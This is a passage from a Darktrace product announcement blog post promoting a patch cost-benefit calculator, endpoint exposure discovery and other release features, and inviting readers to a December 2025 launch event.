Security teams often know what needs fixing but stakeholders need to understand why now. Darktrace’s new cost-benefit calculator compares the total cost to patch against the potential cost of exploit, producing an ROI for the patch action that expresses security action in clear financial terms.

Inputs like engineer time, number of affected devices, patch difficulty, and automation availability are factored in automatically. The result is a business-aligned justification for every patching decision—helping teams secure buy-in, accelerate approvals, and move work forward with one-click ticketing, CSV export, or risk acceptance.

Darktrace / Proactive Exposure Management Cost Benefit Analysis
Figure 2: Darktrace / Proactive Exposure Management Cost Benefit Analysis

A Smarter, Faster Approach to Exposure Management

Together, the no-telemetry endpoint and Cost–Benefit Analysis advance the CTEM motion from theory to practice. You gain higher‑fidelity discovery and validation signals at the device level, paired with business‑ready justification that accelerates mobilization. The result is fewer distractions, clearer priorities, and faster measurable risk reduction. This is not from chasing every alert, but by focusing on what moves the needle now.

  • Smarter Prioritization: Device‑level context trims noise and spotlights the exposures that matter for your business.
  • Faster Decisions: Built‑in ROI turns technical urgency into executive clarity—speeding approvals and action.
  • Practical Execution: Privacy‑conscious endpoint collection and ticketing/export options fit neatly into existing workflows.
  • Better Outcomes: Close the loop faster—discover, prioritize, validate, and mobilize—on the same operating surface.

Committed to innovation

These updates are part of the broader Darktrace release, which also included:

1. Major innovations in cloud security with the launch of the industry’s first fully automated cloud forensics solution, reinforcing Darktrace’s leadership in AI-native security.

2. Darktrace Network Endpoint eXtended Telemetry (NEXT) is revolutionizing NDR with the industry’s first mixed-telemetry agent using Self-Learning AI.

3. Improvements to our OT product, purpose built for industrial infrastructure, Darktrace / OT now brings dedicated OT dashboard, segmentation-aware risk modeling, and expanded visibility into edge assets and automation protocols.

Join our Live Launch Event

When? 

December 9, 2025

What will be covered?

Join our live broadcast to experience how Darktrace is eliminating blind spots for detection and response across your complete enterprise with new innovations in Agentic AI across our ActiveAI Security platform. Industry leaders from IDC will join Darktrace customers to discuss challenges in cross-domain security, with a live walkthrough reshaping the future of Network Detection & Response, Endpoint Detection & Response, Email Security, and SecOps in novel threat detection and autonomous investigations.

Continue reading
About the author
Your data. Our AI.
Elevate your network security with Darktrace AI